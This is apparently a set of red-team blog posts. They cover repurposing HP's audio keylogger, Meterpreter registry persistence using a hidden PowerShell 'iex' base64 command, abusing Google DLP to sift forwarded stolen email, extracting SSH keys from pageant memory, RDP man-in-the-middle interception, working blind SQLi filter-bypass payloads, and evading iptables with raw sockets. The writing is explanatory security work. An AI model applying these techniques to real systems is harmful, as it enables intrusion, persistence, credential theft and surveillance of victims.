Repurposing the HP audio key logger

The last couple of days there has been some fuzz about the HP audio key logger as disclosed by modzero in their blog post and the detailed advisory that they released. The following sentence in their advisory peeked my interest:

This type of debugging turns the audio driver effectively into a keylogging spyware.

With all the hyped ‘repurposing’ of tools that is going on lately I wondered how difficult it actually is to turn this into an intended piece of malware. The reason I find this interesting is because according to different sources it’s legitimate software which has been code-signed correctly and has not been classified as malware by all anti-virus solutions, yet.

https://www.virustotal.com/nl/file/e882149c43976dfadb2746eb2d75a73f0be5aa193623b18b50827f43cce3ed84/analysis/

https://www.virustotal.com/nl/file/c046c7f364b42388bb392874129da555d9c688dced3ac1d6a1c6b01df29ea7a8/analysis/

The current detection signatures are also pretty weak since they deem it mostly ‘riskware’  or ‘potentially unwanted application (PUA)’. This could have the side effect that users or administrators might just dismiss any warnings of signs of an attacker abusing the HP audio key logger for malicious purposes.

For red team purposes this is still a nice addition, since it pushes the person analysing this potential incident to really understand what is going on and figuring out that legitimate software is being abused for malicious purposes. Specially since the binary will not be modified and thus the code-signing remains valid (until the certificate is revoked).

Let’s dive into the technical details on the path / approach I followed on repurposing this piece of legitimate software for nefarious red team purposes ;)

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Win10 secure boot inside vmware fusion

Quick blog to remind myself what the correct combination of options are to run Windows 10 Pro x64 with secure boot enabled within VMWare Fusion. Couple of reason why you’d want to do this:

  • Avoid a secondary dedicated laptop
    • Avoid having a physical TPM chip
  • Get familiar with Hyper-V
  • Better understand and research secure boot
  • Get more familiar with memory analysis on hypervisor memory
  • Just for fun

Fusion settings

  • Enable EFI by adding the following to the ‘.vmx’ file
    • firmware = “efi”
  • Enable VT-x/EPT
    • can be found in setting under “Processors & Memory”, “advanced settings”
  • Choose OS type “Hyper-V (unsupported)”

Windows 10 Pro x64 (host) settings

  • Right click on the windows start menu icon and select
    • Programs and Features
      • Turn Windows features on or off
    • Select the Hyper-V role
  • Using the Hyper-V Manager create a “Generation 2” VM
    • In Settings -> Security check the “Enable Trusted Platform Module” checkbox
  • When booting hold down a key or it won’t detect the installation ISO

Windows 10 Pro x64 (guest) settings

  • Right click on the C drive and select “Enable bitlocker”
  • Add a second hard disk and create a folder on it to save the bitlocker recovery key

References

 

Meterpreter, registry & unicode quirk work around

So this is a quick post with hopefully the goal of saving somebody else some time. Just for the record, I could have missed something totally trivial and I will hopefully get corrected :)

When working with the registry_persistence module, it turns out that one of the registry entries turns into garbage. At first I blamed myself of course, but it turned out that this could probably be a bug in the meterpreter code of which I’m not sure if it really is a bug or if there is a new API call which I haven’t found yet. So when executing the module the registry looks like this:

registry_garbled

Like you can see that’s not exactly how it really should look like, since what we are expecting is something more human readable and an actual powershell command.

The quick work around is to generate the correct string with the correct encoding and for me it was easier to do this with python:

a = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep 1; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKCU:myregkey_name').GetValue('myregkey_value'))))\""
b = '\\x'.join("{:02x}".format(ord(c)) for c in a.encode('UTF-16LE'))
print '\\x' + b

You can then just hard code the output string into the module (replace the original ‘cmd=’ string with your hex encoded one like cmd=”\x25\x00″ etc) and it should appear correctly in your registry. Following screenshot shows before and after:

registry_fixed

If you are curious how you could debug similar bugs yourself, keep on reading for a short tour of the problem solving part. If you are wondering why I don’t submit a PR to metasploit, that’s cause unicode scares the **** out of me. My usual experience is I generate more problems when dealing with unicode than I intended to fix.

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[python] Poor man’s forensics

So after a period of ‘lesser technical times’ I finally  got a chance to play around with bits, bytes and other subjects of the information security world.  A while back I got involved in a forensic investigation and participated with the team to answer the investigative questions.  This was an interesting journey since a lot of things peeked my interest or ended up on one of my todo lists.

One of the reasons that my interest was peeked is that yes, you can use a lot of pre-made tools to process the disk images and after that processing is done you can start your investigation. However, there are still a lot of questions you could answer much quicker if you had a subset of that data available ‘instantly’. The other reason is that not all the tools understand all the filesystems out there, which means that if you encounter an exotic file system your options are heavily reduced. One of the tools I like and which inspired me for these quick & dirty scripts is ‘mac-robber‘ (be aware that it changes file times if the destination is not mounted read-only) since it’s able to process any file system as long as it’s mounted on an operating system on which mac-robber is able to run. An example of running mac-robber:

sudo mac-robber mnt/ | head
class|host|start_time
body|devm|1471229762
MD5|name|inode|mode_as_string|UID|GID|size|atime|mtime|ctime|crtime
0|mnt/.disk|0|dr-xr-xr-x|0|0|2048|1461191363|1461191353|1461191353|0
0|mnt/.disk/base_installable|0|-r–r–r–|0|0|0|1461191363|1461191316|1461191316|0
0|mnt/.disk/casper-uuid-generic|0|-r–r–r–|0|0|37|1461191363|1461191353|1461191353|0

You can even timeline the output if you want with mactime:

sudo mac-robber mnt/ | mactime -d | head
Date,Size,Type,Mode,UID,GID,Meta,File Name
Thu Jan 01 1970 01:00:00,2048,…b,dr-xr-xr-x,0,0,0,”mnt/.disk”
Thu Jan 01 1970 01:00:00,0,…b,-r–r–r–,0,0,0,”mnt/.disk/base_installable”
Thu Jan 01 1970 01:00:00,37,…b,-r–r–r–,0,0,0,”mnt/.disk/casper-uuid-generic”
Thu Jan 01 1970 01:00:00,15,…b,-r–r–r–,0,0,0,”mnt/.disk/cd_type”
Thu Jan 01 1970 01:00:00,60,…b,-r–r–r–,0,0,0,”mnt/.disk/info”

Now that’s pretty useful and quick! One of the things I missed however was the ability to quickly extend the tools as well as focus on just files. From a penetration testing perspective I find files much more interesting in an forensic investigation than directories and their meta-data. This is of course tied to the type of investigation you are doing, the goal of the investigation and the questions you need answered.

I decided to write a mac-robber(ish) python version to aid me in future investigations as well as learning a thing or two along the way. Before you continue reading please be aware that:

  1. The scripts have not gone through extensive testing
  2. Thus should not be blindly trusted to produce forensically sound output
  3. The regular ‘professional’ tools are not perfect either and still contain bugs ;)

That being said, let’s have a look at the type of questions you can answer with a limited set of data and how that could be done with custom written tools. If you don’t care about my ramblings, just access the Github repo here. It has become a bit of a long article, so here are the ‘chapters’ that you will encounter:

  1. What data do we want?
  2. How do we get the data?
  3. Working with the data, answering questions
    1. Converting to body file format
    2. Finding duplicate hashes
    3. Permission issues
    4. Entropy / file type issues
  4. Final thoughts

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Idea: Abusing Google DLP for NSA-style content searching

Errr ok, so the “NSA-style content searching” might be a bit overrated then again it’s usually only the intelligence agencies which perform this type of bulk searches as far as I know. Anyhow, here is an idea on how to abuse Google DLP (available in google apps for work) to perform exactly the same, since it recently incorporated support to also perform OCR on the emails / attachments:

According to this screenshot it seems that you can also perform DLP actions on incoming items:

google-dlp

Which is what enables us to perform specific content searches on all incoming email messages and prepend  certain keywords to the subject. Now imagine you just hacked an organisation and added a rule to the exchange server or individual outlook instances to forward all email to an email your control and has DLP enabled with all the keywords, hashes or rules you need to only get the juicy contents out? Don’t forget to delete the forwarded message with a rule ;) The types of content matching that you can perform is also pretty flexible:

  • Pattern match—A specific alphanumeric pattern (not just string length), including delimiters, valid position, and valid range checks
  • Context—Presence of relevant strings in proximity to pattern and/or checksum matching string
  • Checksum—Checksum computation and verification with check digit
  • Word/phrase list—Full or partial match to an entry found in a dictionary of words and phrases

Based on the DLP trigger you can then just rename the subject and use google rules to forward the message to another inbox or leave it there and just organise it into folders. Kinda saves you as an attacker a lot of time, since normally you’d have to perform or implement OCR / content matching yourself. Added bonus is that since it’s already been stolen from the victim company it doesn’t really matter what you do with it as long as the original sender doesn’t receive some weird Google notification.

You might be thinking “my client will never allow this”, but what if your client is already connected to google apps for work?

As a final thought you could also use this for defence purposes if you are already working with Google apps for work as an organisation. You could use the Google DLP feature to feed it the currently hyped ‘threat intelligence’ file hash information and block different known threat actors if their tools & techniques remain the same for a period of time.

PowerShell overview and introduction

This is a long overdue post I was planning on writing as a reference for myself, since I don’t write that much PowerShell. Depending on your own knowledge about powershell you can just skip to whatever sections seems useful to you. Also feel free to correct any mistakes in this article since I intent it mostly as a basic reference :) The resource section contains a nice collection of links to other PowerShell articles & tools, which means you can consider this article a small recap of all the resources linked.

TL;DR The resource section contains useful URLs to learn Power Shell, the blog post itself is just a micro-recap of those resources.

  • What is PowerShell and why would you use it?
  • Basic PowerShell environment
  • How do you run PowerShell?
  • What is the PowerShell syntax?
  • Our first script
  • Calling Windows functions
  • Resources

basic-powershell-commands-intro-840x420

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pageant key extraction automated

Well this will be a rather short post since it’s about the automation of my previous blog post in which we analysed the memory dump of the pageant process and manually extracted unencrypted keys. You can find the tool which automates this process in pageant_xkeys git repository. Since I’m a firm believer that you learn best from mistakes and old code, the repository also includes some of the other code I was playing around with.

 

Discovering the secrets of a pageant minidump

A Red Team exercise is lotsa fun not only because you have a more realistic engagement due to the broader scope, but also because you can encounter situations which you normally wouldn’t on a regular narrow scoped penetration test. I’m going to focus on pageant which Slurpgeit recently encountered during one of these red team exercises which peeked my interest.

Apparantly he got access to a machine on which the user used pageant to manage ssh keys and authenticate to servers without having to type his key password every single time he connects. This of course raises the following interesting (or silly) question:

Why does the user only have to type his ssh key in once?

Which has a rather logical (or doh) answer as well:

The pageant process keeps the decrypted key in memory so that you can use them without having to type the decryption password every time you want to use the key.

From an attackers perspective it of course begs the question if you can steal these unencrypted keys? Assuming you are able to make a memory dump of the running process you should be able to get these decrypted ssh keys. During this blog post I’ll be focusing on how you could achieve this and the pitfalls I encountered when approaching this.

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Parsing the hiberfil.sys, searching for slack space

Implementing functionality that is already available in an available tool is something that has always taught me a lot, thus I keep on doing it when I encounter something I want to fully understand. In this case it concerns the ‘hiberfil.sys’ file on Windows. As usual I first stumbled upon the issue and started writing scripts to later find out someone had written a nice article about it, which you can read here (1). For the sake of completeness I’m going to repeat some of the information in that article and hopefully expand upon it, I mean it’d be nice if I could use this entry as a reference page in the future for when I stumble again upon hibernation files. Our goal for today is going to be to answer the following question:

What’s a hiberfil.sys file, does it have slack space and if so how do we find and analyze it?

To answer that question will hopefully be answered in the following paragraphs; we are going to look at the hibernation process, hibernation file, it’s file format structure, how to interpret it and finally analyze the found slack space. As usual you can skip the post and go directly to the code.

Hibernation process

When you put your computer to ‘sleep’ there are actually several ways in which it can be performed by the operating  system one of those being the hibernation one. The hibernation process puts the contents of your memory into the hiberfil.sys file so that the state of all your running applications is preserved. By default when you enable hibernation the hiberfil.sys is created and filled with zeros. To enable hibernation you can run the following command in an elevated command shell:

powercfg.exe -H on

If you want to also control the size you can do:

powercfg.exe -H -Size 100

An interesting fact to note is that Windows 7 sets the size of the hibernation file size to 75% of your memory size by default. According to Microsoft documentation (2) this means that hibernation process could fail if it’s not able to compress the memory contents to fit in the hibernation file. This of course is useful information since it indicates that the contest of the hibernation file is compressed which usually will make basic analysis like ‘strings’ pretty useless.

if you use strings always go for ‘strings -a <inputfile>’ read this post if you are wondering why.

The hibernation file usually resides in the root directory of the system drive, but it’s not fixed. If an administrators wants to change the location he can do so by editing the following registry key as explained by this (3) msdn article:

Key Name: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\
Value Name: PagingFiles
Type: REG_MULT_SZ
Data: C:\pagefile.sys 150 500
In the Data field, change the path and file name of the pagefile, along with the minimum and maximum file size values (in megabytes).

So if you are performing an incident response or forensic investigation make sure you check this registry key before you draw any conclusion if the hiberfil.sys file is absent from it’s default location. Same goes for creating memory images using hibernation, make sure you get the 100% and write it to a location which doesn’t destroy evidence or where the evidence has already been collected.

Where does the slack space come from you might ask? That’s an interesting question since you would assume that each time the computer goes into hibernation mode it would create a new hiberfil.sys file, but it doesn’t. Instead it will overwrite the current file with the contents it wants to save. This is what causes slack space, since if the new data is smaller in size than the already available files the data at the end of the file will still be available even if it’s not referenced by the new headers written to the file.

From a forensic standpoint that’s pretty interesting since the unreferenced but available data might contain important information to help the investigation along. If you are working with tools that automatically import / parse or analyse the hiberfil.sys file you should check / ask / test how they handle slack space. In a best case scenario they will inform you about the slack space and try to recover the information, in a less ideal scenario they will inform you that there is slack space but it’s not able to handle the data and in the worst case scenario it will just silently ignore that data and tell you the hibernation file has been processed successfully.

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Writing your own blind SQLi script

We all know that sqlmap is a really great tool which has a lot of options that you can tweak and adjust to exploit the SQLi vuln you just found (or that sqlmap found for you). On rare occasions however you might want to just have a small and simple script or you just want to learn how to do it yourself. So let’s see how you could write your own script to exploit a blind SQLi vulnerability. Just to make sure we are all on the same page, here is the blind SQLi definition from OWASP:

Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response.

You can also roughly divide the exploiting techniques in two categories (like owasp does) namely:

  • content based
    • The page output tells you if the query was successful or not
  • time based
    • Based on a time delay you can determine if your query was successful or not

Of course you have dozens of variations on the above two techniques, I wrote about one such variation a while ago. For this script we are going to just focus on the basics of the mentioned techniques, if you are more interested in knowing how to find SQLi vulnerabilities you could read my article on Solving RogueCoder’s SQLi challenge. Since we are only focusing on automating a blind sql injection, we will not be building functionality to find SQL injections.

Before we even think about sending SQL queries to the servers, let’s first setup the vulnerable environment and try to be a bit realistic about it. Normally this means that you at least have to login, keep your session and then inject. In some cases you might even have to take into account CSRF tokens which depending on the implementation, means you have to parse some HTML before you can send the request. This will however be out of scope for this blog entry. If you want to know how you could parse HTML with python you could take a look at my credential scavenger entry.

If you just want the scripts you can find them in the example_bsqli_scripts repository on my github, since this is an entry on how you could write your own scripts all the values are hard coded in the script.

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Quick POC to mitm RDP ssl

So the other day I stumbled upon this great article from Portcullis Labs. The article explains how you can man-in-the-middle an RDP SSL connection. This can be helpful in obtaining the user’s password, like Portcullis explains in their article. As far as I could tell they didn’t release their tool, so I decided to see if I could whip up a quick POC script with a twist of saving the entire decrypted stream to a pcap file. This would put you in the position to maybe retrieve more sensitive data then just the password. Turns out the only modification from regular SSL intercepting code is more or less the following:

    #read client rdp data
    serversock.sendall(clientsock.recv(19))
    #read server rdp data and check if ssl
    temp = serversock.recv(19)
    clientsock.sendall(temp)
    if(temp[15] == '\x01'):

Like you can see we just pass through the initial packet and then just check the response packet for the ‘SSL’ byte before we start intercepting. The output is pretty boring, since everything is saved to the file ‘output.pcap’:

sudo ./rdps2rdp_pcap.py 
waiting for connection...
('...connected from:', ('10.50.0.123', 1044))
waiting for connection...
Intercepting rdp session from 10.50.0.123
some error happend
some error happend

You can ignore the errors, that’s just me being lazy for this POC. The output is saved in ‘output.pcap’ which you can then open with wireshark or further process to extract all the key strokes. If you want to play around with the POC you can find it on my github as usual. If you plan on extracting the key strokes make sure you look for the key scan codes and not for the hex representation of the character that the victim typed. In case you are wondering, yes , extracting the key strokes is left as an excersise for the user :)

 

[old] VMware vSphere client XML External Entity attack

So this is a *really* old blog post that I wrote a while back when I discovered, or at least so I believed, an XXE bug in the VMware vSphere client. I reported this to the VMware security team but they were not able to reproduce the part where you would use a UNC path to try and steal the credentials of an user. I then got busy and never continued to investigate why they were not able to reproduce it. Since the vSphere client is being replaced by a web client I decided it couldn’t hurt to release this old post, also the likely hood of this being exploited is pretty low.

Curiosity (from Latincuriosus “careful, diligent, curious,” akin to cura “care”) is a quality related to inquisitive thinking such as exploration, investigation, and learning, evident by observation in human and many animal species.  (Wikipedia)

As always a driving force behind many discoveries, as well as the recent bug I found in the VMware vSphere client (vvc). Not a very interesting bug, yet a fun journey to approach things from a different perspective. After my last post about a portable virtual lab I wondered what the vvc used as a protocol to communicate with the esxi server and if it could contain any bugs. So this time instead of getting out ollydbg I decided to go for a more high-level approach. Let’s see how I poked around and found the XML External Entity (XXE) (pdf)  vulnerability in the vvc.

I first looked in the directory of vvc, just to know the type of files that resided there, here is a screenshot:

1

Logically the file that drew my attention was the config file of which the following settings also seemed like they would come in handy:

2

Seems like if we want to tinker with the connection a higher time-out would give us more time and a higher verbosity level of logging could help us during the poking around. Enough looking around at this point let’s get more active.

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Solving RogueCoder’s SQLi challenge

So I’m hanging around on #vulnhub (freenode) when RogueCoder silently drops a SQLi challenge, which you can find here:

http://ethax.secnet.org/challenges/sqli-01.php?id=1

At first I ignored it since well I’m usually not that big a fan of challenges. Mostly because they are not realistic or because they require you to solve them how the author intends them to be solved. After a while though I decided to give it a try (due to Slurpgeit nagging me to do it together) and well this was one of the more fun SQLi challenges that I’ve done. It was realistic and RogueCoder didn’t impose any “correct solution”. If you hadn’t noticed yet this post will give away the solution, only read on if you have already solved it or if you want to spoil the challenge for yourself.

Now instead of firing up our favorite tool, let’s first understand how the challenge works. When you perform the first request with ID set to 1 you’ll get the following response:

Oracle hates @miss_sudo
Username: shp0ngl3
Email: some@email.com

Now that seems like a normal response, let’s try non existing IDs like -1, 0 or 99999 in all cases I’m just assuming they don’t exist, but you have to start somewhere right? There are two very distinct responses:

Response to id=-1

Oracle hates @miss_sudo
Nice try!

Response to id=0 or id=99999

Oracle hates @miss_sudo

Hmm interesting, just to be sure I also checked the raw response instead of just the browser representation. I mean you never know when some html/javascript might be giving away goodies right? For the ones wondering who miss_sudo is, please read her latest pretty awesome oracle vulnerability on her blog.

The line that caught my eye was “Nice try!” this seems to indicate that some kind of hack detection is in place. Let’s try and see if we can determine what kind of protection is in place:

Several requests with ‘,”,\,%00,\’,\”,\\ all ended in the same message. Which led me to believe that only numbers are accepted, which in turn made me think that would be really weird since it would be almost unsolvable. Let’s go back to basics and see what happens if we do a request with id=02:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

So that works, let’s try adding a ‘a’ behind it or enclose it in brackets like ‘(02)’:

Oracle hates @miss_sudo
Nice try!

Now this seems more like it, although you now might wonder why? Well because we now are pretty sure that indeed there is some filter in place that only seems to accept numbers. This is pretty important information if you eventually want to use any of the available SQL injection tools. One of the characters that we have not tested yet, but is actually pretty important is the space character, so let’s do a request with id=0 2:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

Fun! Why? Because it tells us that spaces are not immediately rejected but probably replaced by nothing. Depending on the SQL injection point this can be really useful to bypass filters by splitting payloads up, in this case not so much though.  So this is the point where we start thinking about how the programmer might have implemented this and try to think of the defenses he might have used.

I didn’t get that chance though, since I was doing it together with Slurpgeit he had already gone through the list of possible characters and had identified a character ‘%OA’ (line feed) that was allowed, since issuing the request id=2%0a produces:

Oracle hates @miss_sudo
Username: RexorZ
Email: your@mail.net

You might be saying but I see no difference with a request that just does id=2, in this case that’s a good thing. Since it’s a line feed and it produces the same result as a valid request. To really know if this is the magical character we are looking for let’s try a bit of SQL magic with the following requests:

id=2%OA%2bif(1=0,1,2)

Oracle hates @miss_sudo

id=2%0A%2bif(1=1,1,2)

Oracle hates @miss_sudo
Username: user
Email: user@sqli.com

Excellent! We just solved the SQLi challenge. Our first request evaluates to false and thus adds 2 to the id resulting in a total of 4 which is an id with no information associated, our second request evaluates to true and thus adding 1 to the id resulting in a total of 3 which is an id with information associated. I decided to retrieve the current database user with the user() function the “clumsy” way:

id=2%0A%2bif(substring(user(),1,1)=’a’,1,2)

Using that request as a template I used Burp Intruder with the “cluster bomb” payload type to cycle through every possible combination to find the current user.

Slurpgeit will probably respond to this blog post with a more efficient way of retrieving information and RogueCoder will do a whole blog post on this challenge including source and a more in depth explanation of the filters and why the ‘%OA’ characters works to bypass them.

Hope you enjoyed this quickly written walk through and I hope that the big take away is that before using SQL injection tools it really really really helps to have solved it manually and actually understanding the why’s and how’s.

Finally i’d like to thank RogueCoder for making this challenge, Slurpgeit for convincing me to do it and #vulnhub for being an awesome channel :)

Encrypted Screenshots

You might be wondering why on earth you’d need to take encrypted screenshots, in that case here are a couple of reasons:

  • The machine on which you take screenshots has different levels of classification
    • Although in this case you *should* definitely review the full source, specially the crypto part
  • You want to make it harder for the victim to find out what information has been captured (stolen)
  • Just in case you have to transport them on an insecure medium
  • Because it’s an easy way to steal information
  • Because you want to keep your own screenshots safe
    • Don’t generate the key pair on the same machine or save the private key on the same machine!

You can skip directly to ‘cryptoshot’ on my github.

Compiling cryptoshot

I used Visual Studio 2010 express, if you use other versions you might have to resolve possible issues yourself. It should compile without problems if you set the active configuration to ‘Release’. If you run into any problems check one of the following:

  • Are the additional directories ‘libfiles’ and ‘libheaderfiles’ configured correctly under the ‘c/c++’ and linker options?
  • Under ‘Linker->input’ add ‘libcmt.lib’ to the ‘Ignore Specific Default Libraries’ line
  • Set ‘C/C++->Compile As’ to ‘Compile As C Code’

*UPDATE 12-12-2014* WARNING: The above probably results in a missing DLL error when running the binary, do read the comment below this post.

Things I (re)learned

Cryptography is hard, very hard

So for some odd reason I had associated Message Authentication Codes (MAC) with padding oracle attacks. Since the decryption of the screenshots would be done by another process, most probably with a huge delay in time and with no way for an attack to access the possible output, I thought why would I do a MAC over the encrypted data? Luckily for me the people in the #crypto  channel on freenode where willing to explain to me that padding oracle attacks are not the only thing an attacker can do if they can ‘flip bits’ in your encrypted blob. In the case of cryptoshot for example if the attacker can guess the dimensions of the underlying image he could draw his own image. So I added an HMAC to verify before decrypting anything. Additionally for the encryption of the symmetric keys etc, I was using RSA PKCS1 and it had to be swapped for RSA OAEP. Reason being that there are multiple known attacks to PKCS1 encryption.

Multi monitors & the virtual screen

A virtual screen spans MULTLIPLE monitors! Let’s take a look at this MSDN picture:

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That makes it more clear doesn’t it? The virtual screen can span across multiple monitors and since the primary monitor has 0,0 as it’s origin, everything left from it is negative. So when using the BitBlt function to make a screenshot you need to make sure you distinguish between the left side position of the virtual screen (which will be negative) and the width in pixels of the virtual screen. Which more precise is the difference between using GetSystemMetrics() with SM_XVIRTUALSCREEN and SM_CXVIRTUALSCREEN.

In case you are wondering about the image format, it’s BMP. I looked into creating it as JPEG but then decided it would mean quality loss. So instead I opted to use zlib and compress the entire image before encrypting it. I was to lazy to opt for the PNG option.

[QP] raw sockets & iptables

Funny how sometimes you don’t realize stuff until you actually try to interact with it instead of just observing it. I’ve used tcpdump many times behind a normal iptables ruleset, I’ve also used ‘dhclient eth0’ a lot of times. None of those times though did I realize that dhclient uses raw sockets and that iptables is unable to block those connections. As far as I can tell and with some help from the #netfilter guys on freenode it seems you can’t block raw socket connections at the moment in an easy way. It’s not as bad as it sounds though since you either need root privileges or the CAP_NET_RAW capability to be able to use raw sockets.

If you want to see this for yourself do the following:

iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

Now try to resolve something or connect to something:

DNS resolving
host http://www.google.com

;; connection timed out; no servers could be reached

TCP connect
nc -vv 173.194.112.51 80

nc: connect to 173.194.112.51 port 80 (tcp) failed: Connection timed out

Now if you do this with raw sockets, using scapy for example:

DNS resolving
>>> a,u = sr(IP(dst=”208.67.220.220″)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=”www.google.com”)))

Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> print a.show()
0000 IP / UDP / DNS Qry “www.google.com” ==> IP / UDP / DNS Ans “173.194.112.51”

TCP connect
>>> a,u = sr(IP(dst=”173.194.112.51″)/TCP(sport=3445))
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> print a.show()
0000 IP / TCP 10.50.0.103:3445 > 173.194.112.51:http S ==> IP / TCP 173.194.112.51:http > 10.50.0.103:3445 SA / Padding

Like you can see the resolving works fine and the TCP connection attempt also works fine since we receive a SYN+ACK, this is all happing while we have our iptables policy on DROP. Fun stuff right?

In my opinion this doesn’t really have a lot of real world usage, even though some backdoors as referenced before in my post about connectionless backdoors use the raw socket sniffing method to activate themselves. It could come in handy though if you become root on a server with a strict firewall and you don’t want to alter the firewall, you could use raw sockets for sending and receiving to cut right through it.

If you are wondering QP stands for Quick Post.